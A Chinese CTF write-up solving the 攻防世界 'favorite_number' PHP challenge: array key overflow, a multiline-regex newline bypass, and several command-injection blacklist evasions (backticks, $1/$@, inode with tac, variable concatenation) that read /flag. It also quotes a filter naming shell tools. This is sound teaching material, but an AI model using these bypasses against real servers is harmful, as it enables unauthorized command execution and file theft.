攻防世界 Web高手进阶区 favorite_number

知识点

  • PHP的数组key溢出。
  • PHP的preg_match的/m绕过。
  • 命令执行绕过。

WP

昨天偶然翻自己的收藏夹,突然翻到了攻防世界,差点忘了攻防世界的web还没刷完。。就回来稍微看了个题目,还是挺有意思的,不过我也没能完全独立做出来,前两个点都遇到了问题,反而是最后的命令执行做的比较轻松。

首先进入环境,审一下代码:

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}


首先的难点是这里:

if($stuff === $array && $stuff[0] != 'admin') {

想了很久实在没想出来,看了WP,原来是ISG(信息安全大赛)的题目:
攻防世界 Web高手进阶区 favorite_number
解法是利用PHP数组下标的整形溢出:
Different arrays compare indentical due to integer key truncation

因此解法如下:

stuff[4294967296]=admin&stuff[1]=user

属实是知识盲区。

接下来就是这个正则匹配:

    if (preg_match("/^\d+$/im",$num)){

只允许纯数字,但是要想命令执行很明显我们需要字母。可以注意到preg_match开启了/m,也就是开启了多行匹配,因此^$不只是匹配字符串的开头和结尾,也匹配一行的开头和一行的结尾。因此我们利用%0a换一行,把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。

但是这里有个坑,就是用harkbar不行。真的是太坑了,用bp:
攻防世界 Web高手进阶区 favorite_number
接下来就需要考虑最终的正则匹配了:

if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){

这些正则匹配/sh|wget|nc|python|php|perl|过滤掉了反弹shell,因此反弹shell不太行,就要从换个方向思考,这题的姿势还是挺多的:

解法一:利用反引号`

这是我查资料查到的,真的是全新姿势。我的印象里,例如过滤了cat,我们可以利用这些方式来绕过(不考虑编码绕过之类的):

ca''t
cat""t
ca\t

但是我查到了反引号居然这样和上面的有同样的效果:

ca``t

而这题又没有过滤反引号,因此就可以随便执行命令了:
攻防世界 Web高手进阶区 favorite_number

方法二 $1和$@

$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空

因此利用姿势如下:

num=1%0aca$1t /fl$1ag
num=1%0aca$@t /fl$@ag

方法三 利用文件的inode号

攻防世界 Web高手进阶区 favorite_number
我们可以看到/flag文件的inode号:
攻防世界 Web高手进阶区 favorite_number
cat既然被过滤了,那就用tac绕过,然后利用反引号来读文件:
攻防世界 Web高手进阶区 favorite_number

方法四 变量拼接

也是一种比较常用的方法,既然过滤了flag,而又没过滤$,就可以用变量拼接:

num=1%0aa=f;b=lag;tac /$a$b;

攻防世界 Web高手进阶区 favorite_number

上一篇:PHP代码审计基础:代码执行漏洞


下一篇:dedecms v5.7搜索无法识别大写字母的解决方法